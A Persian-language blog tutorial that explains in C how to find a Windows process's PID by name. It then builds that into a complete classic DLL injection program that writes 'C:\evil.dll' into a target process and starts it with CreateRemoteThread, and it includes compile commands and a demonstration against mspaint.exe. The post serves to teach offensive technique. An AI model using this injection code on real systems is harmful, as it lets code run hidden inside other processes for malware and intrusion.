پیدا کردن PID بر اساس اسم پروسه در C
هر برنامه یا فایل اجرایی ، وقتی در سیستم عامل اجرا شود یک پروسه (Process) به ازای آن ساخته شده است . به عبارتی پروسه ها برنامه های درحال اجرا هستند . سیستم عامل ها برای مدیریت این پروسه ها یک شناسه عددی به نام Process Identification (PID) به آن ها اختصاص میدهند. در اکثر حملات تزریق کد یا DLL ما نیاز به دانستن PID پروسه مقصد داریم . بنابراین حیاتی است که بتوانیم کدی بنویسیم که هوشمندانه PID پروسه های درحال اجرا در سیستم عامل را پیدا کند …
سرشماری پروسه ها در سیستم
به کد زیر دقت کنید :
/*
simple process find logic
author: @cocomelonc
*/
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <tlhelp32.h>
// find process ID by process name
int findMyProc(const char *procname) {
HANDLE hSnapshot;
PROCESSENTRY32 pe;
int pid = 0;
BOOL hResult;
// snapshot of all processes in the system
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hSnapshot) return 0;
// initializing size: needed for using Process32First
pe.dwSize = sizeof(PROCESSENTRY32);
// info about first process encountered in a system snapshot
hResult = Process32First(hSnapshot, &pe);
// retrieve information about the processes
// and exit if unsuccessful
while (hResult) {
// if we find the process: return process ID
if (strcmp(procname, pe.szExeFile) == 0) {
pid = pe.th32ProcessID;
break;
}
hResult = Process32Next(hSnapshot, &pe);
}
// closes an open handle (CreateToolhelp32Snapshot)
CloseHandle(hSnapshot);
return pid;
}
int main(int argc, char* argv[]) {
int pid = 0; // process ID
pid = findMyProc(argv[1]);
if (pid) {
printf("PID = %d\n", pid);
}
return 0;
}
تابعی تعریف کرده ایم به اسم findMyProc که یک رشته در ورودی به عنوان اسم پروسه مورد نظر میگیرد و PID آن پروسه (اگر وجود دارد) را برمیگرداند .
ابتدا نگاهی به داخل تابع main بیندازیم :
int main(int argc, char* argv[]) {
int pid = 0; // process ID
pid = findMyProc(argv[1]);
if (pid) {
printf("PID = %d\n", pid);
}
return 0;
}
اسم پروسه مورد نظر را به عنوان پارامتر اول برنامه (argv[1]) گرفته ایم و آن را به تابع findMyProc پاس داده ایم . نتیجه تابع که یک عدد صحیح int است را در متغییر pid ذخیره کرده ایم . سپس در خط ۵ چک شده است که آیا PID مورد نظر معتبر است یا نه زیرا ممکن است پروسه ای که دنبال آن بوده ایم در حال اجرا نبوده و در نتیجه تابع findMyProc عدد صفر را برگردانده باشد .
و اما داخل تابع findMyProc :
int findMyProc(const char *procname) {
HANDLE hSnapshot;
PROCESSENTRY32 pe;
int pid = 0;
BOOL hResult;
// snapshot of all processes in the system
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hSnapshot) return 0;
// initializing size: needed for using Process32First
pe.dwSize = sizeof(PROCESSENTRY32);
// info about first process encountered in a system snapshot
hResult = Process32First(hSnapshot, &pe);
// retrieve information about the processes
// and exit if unsuccessful
while (hResult) {
// if we find the process: return process ID
if (strcmp(procname, pe.szExeFile) == 0) {
pid = pe.th32ProcessID;
break;
}
hResult = Process32Next(hSnapshot, &pe);
}
// closes an open handle (CreateToolhelp32Snapshot)
CloseHandle(hSnapshot);
return pid;
}
تابع بسیار مهمی به نام CreateToolhelp32Snaphot در Windows API وجود دارد که وظیفه ی آن سرشماری بخش های مختلف سیستم از جمله پروسه های درحال اجرا است . در خط ۹ این تابع را فراخوانی کرده ایم و پارامتر TH32CS_SNAPPROCESS که به آن پاس داده ایم مشخص کننده این است که میخواهیم پروسه های سیستم را سرشماری کنیم . نتیجه این تابع یک HANDLE به سرشماری انجام شده است که در تابع hSnapshot ذخیره کرده ایم .
وقتی یک سرشماری توسط CreateToolhelp32Snapshot گرفتیم ، میتوانیم با فراخوانی تابع Process32First روی این سرشماری انجام شده ، اولین پروسه موجود را دریافت کنیم و پس از این هربار تابع Proccess32Next را فراخوانی میکنیم اطلاعات پروسه بعدی از این سرشماری را به ما تحویل میدهد . نهایتا وقتی همه ی پروسه ها توسط تابع Process32Next دریافت شدند ، دفعه بعد که آن را فراخوانی کنیم ،مقدار false را برمیگرداند . هر بار که میخواهیم اطلاعات پروسه بعدی را توسط توابع Process32First یا Process32Next دریافت کنیم ، این توابع اطلاعات را در یک ساختار PROCESSENTRY32 برای ما قرار میدهند .در خط ۴ یک شیء از ساختار PROCESSENTRY32 به نام pe ساخته ایم و در خط ۱۳ عضو dwSize از آن را مقدار دهی کرده ایم (ضروری است) .
در خط ۱۶ اولین پروسه را از سرشماری که انجام شد دریافت کرده ایم :
hResult = Process32First(hSnapshot, &pe);
در پارامتر اول شیء مربوط به سرشماری ای که میخواهیم پروسه های آن را بیرون بکشیم را مشخص کرده ایم . در پارامتر دوم نیز یک اشاره گر به ساختار PROCESSENTRY32 را پاس داده ایم تا اطلاعات پروسه موردنظر مثل PID آن در آن ذخیره شود .
نهایتا در خطوط بعدی توسط تابع Process32Next تک تک پروسه های بعدی را به همین روش دریافت کرده و برای هرکدام چک کرده ایم که آیا اسم آن برابر اسمی هست که ما دنبال آن هستیم یا نه . اگر بود PID آن را به عنوان خروجی برگردانده ایم :
// retrieve information about the processes
// and exit if unsuccessful
while (hResult) {
// if we find the process: return process ID
if (strcmp(procname, pe.szExeFile) == 0) {
pid = pe.th32ProcessID;
break;
}
hResult = Process32Next(hSnapshot, &pe);
}
// closes an open handle (CreateToolhelp32Snapshot)
CloseHandle(hSnapshot);
return pid;
نهایتا کد را compile میکنیم تا صحت کارکرد آن را بررسی کنیم :
i686-w64-mingw32-g++ hack.cpp -o hack.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive
برای مثال ، پروسه mspaint.exe را چک میکنیم :
.\hack.exe mspaint.exe
تزریق DLL با بهره گیری از کد نوشته شده
در پست “تزریق DLL کلاسیک (DLL Injection)” به بررسی الگوریتم تزریق DLL کلاسیک پرداختیم که در نتیجه آن یک فایل DLL دلخواه در پروسه مقصد بارگذاری و کد آن اجرا میشد . اگر یادتان باشد در کدی که مینوشتیم ، PID پروسه مقصد را خودمان دستی به برنامه میدادیم . حالا میخواهیم آن را طوری ویرایش کنیم که PID را خود کد توسط تابع findMyProc که بالاتر نوشتیم پیدا کند:
/*
simple process find logic
author: @cocomelonc
*/
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <tlhelp32.h>
char evilDLL[] = "C:\\evil.dll";
unsigned int evilLen = sizeof(evilDLL) + 1;
// find process ID by process name
int findMyProc(const char *procname) {
HANDLE hSnapshot;
PROCESSENTRY32 pe;
int pid = 0;
BOOL hResult;
// snapshot of all processes in the system
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hSnapshot) return 0;
// initializing size: needed for using Process32First
pe.dwSize = sizeof(PROCESSENTRY32);
// info about first process encountered in a system snapshot
hResult = Process32First(hSnapshot, &pe);
// retrieve information about the processes
// and exit if unsuccessful
while (hResult) {
// if we find the process: return process ID
if (strcmp(procname, pe.szExeFile) == 0) {
pid = pe.th32ProcessID;
break;
}
hResult = Process32Next(hSnapshot, &pe);
}
// closes an open handle (CreateToolhelp32Snapshot)
CloseHandle(hSnapshot);
return pid;
}
int main(int argc, char* argv[]) {
int pid = 0; // process ID
HANDLE ph; // process handle
HANDLE rt; // remote thread
LPVOID rb; // remote buffer
// handle to kernel32 and pass it to GetProcAddress
HMODULE hKernel32 = GetModuleHandle("Kernel32");
VOID *lb = GetProcAddress(hKernel32, "LoadLibraryA");
// get process ID by name
pid = findMyProc(argv[1]);
if (pid == 0) {
printf("PID not found 🙁 exiting...\n");
return -1;
} else {
printf("PID = %d\n", pid);
}
// open process
ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(pid));
// allocate memory buffer for remote process
rb = VirtualAllocEx(ph, NULL, evilLen, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
// "copy" evil DLL between processes
WriteProcessMemory(ph, rb, evilDLL, evilLen, NULL);
// our process start new thread
rt = CreateRemoteThread(ph, NULL, 0, (LPTHREAD_START_ROUTINE)lb, rb, 0, NULL);
CloseHandle(ph);
return 0;
}
تمامی کد بالا در پست مربوط به تزریق DLL توضیح داده شده و تنها تفاوتی که اینجا حاصل شده این است که به جای PID ، فقط اسم پروسه مقصد را در پارامتر اول برنامه (argv[1]) گرفته ایم و PID آن توسط تابع findMyProc در کد پیدا میشود .
کد را compile میکنیم :
x86_64-w64-mingw32-gcc -O2 hack2.cpp -o hack2.exe -mconsole -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive >/dev/null 2>&1
تزریق DLL را روی پروسه mspaint.exe انجام میدهیم :
.\hack2.exe mspaint.exe
ابتدا کد ما PID پروسه مقصد را تشخیص داده (۱) و سپس تزریق DLL انجام شده است (۲)
منابع
CreateToolhelp32Snapshot
Process32First
Process32Next
strcmp
Taking a Snapchot and Viewing Processes
CloseHandle
VirtualAllocEx
WriteProcessMemory
CreateRemoteThread
OpenProcess
GetProcAddress
LoadLibraryA
علاقه مند به دنیای کامپیوتر ها ...
سلام استاد
وقت بخیر
مطلب خیلی خوب و مفیدی بود.
درسته که من کارم با پایتون هست اما مطالعه این مطالب باعث میشه که ما با زبان های دیگه هم آشنایی داشته باشیم.
خیلی خوشحالم که با سایت شما آشنا شدم.
لطفا یک مقاله راجع به روت کردن گوشی اینکه چرا بعضی از برنامه ها نیاز به روت گوشی دارند و … در سایت قرار دهید.
خیلی ممنون از زحمات شما
خدا نگهدار
سلام دوست عزیز .
ممنون سلامت باشید .
بله راجع بهش صحبت میکنیم .
خواهش میکنم .